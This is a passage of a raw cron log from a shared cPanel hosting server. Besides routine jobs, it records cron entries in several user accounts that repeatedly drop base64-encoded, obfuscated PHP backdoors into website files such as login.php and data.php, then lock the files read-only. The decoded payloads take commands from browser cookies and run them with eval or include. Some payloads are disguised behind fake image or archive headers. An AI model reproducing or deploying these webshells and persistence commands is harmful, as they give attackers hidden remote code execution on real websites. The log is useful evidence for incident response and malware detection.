CBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:43:01 medusa CROND[28655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:43:01 medusa CROND[28656]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:43:01 medusa CROND[28658]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:43:01 medusa CROND[28659]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 14:43:01 medusa CROND[28660]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:43:01 medusa CROND[28661]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:43:01 medusa CROND[28662]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:43:01 medusa CROND[28664]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 14:43:01 medusa CROND[28672]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:44:01 medusa CROND[20479]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:44:01 medusa CROND[20580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:44:01 medusa CROND[20603]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:44:01 medusa CROND[20606]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:44:01 medusa CROND[20607]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:44:01 medusa CROND[20610]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:44:01 medusa CROND[20611]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:44:01 medusa CROND[20609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:44:01 medusa CROND[20612]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:44:01 medusa CROND[20614]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:44:01 medusa CROND[20619]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:44:01 medusa CROND[20621]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:44:01 medusa CROND[20622]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:45:01 medusa CROND[12742]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:45:01 medusa CROND[12879]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:45:01 medusa CROND[12880]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:45:01 medusa CROND[12881]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:45:01 medusa CROND[12882]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:45:01 medusa CROND[12884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:45:01 medusa CROND[12887]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:45:01 medusa CROND[12883]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:45:01 medusa CROND[12891]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:45:01 medusa CROND[12893]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:45:01 medusa CROND[12894]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:45:01 medusa CROND[12890]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:45:01 medusa CROND[12895]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:45:01 medusa CROND[12896]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:45:01 medusa CROND[12900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:45:01 medusa CROND[12904]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 14:45:01 medusa CROND[12905]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:45:01 medusa CROND[12906]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:45:01 medusa CROND[12907]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1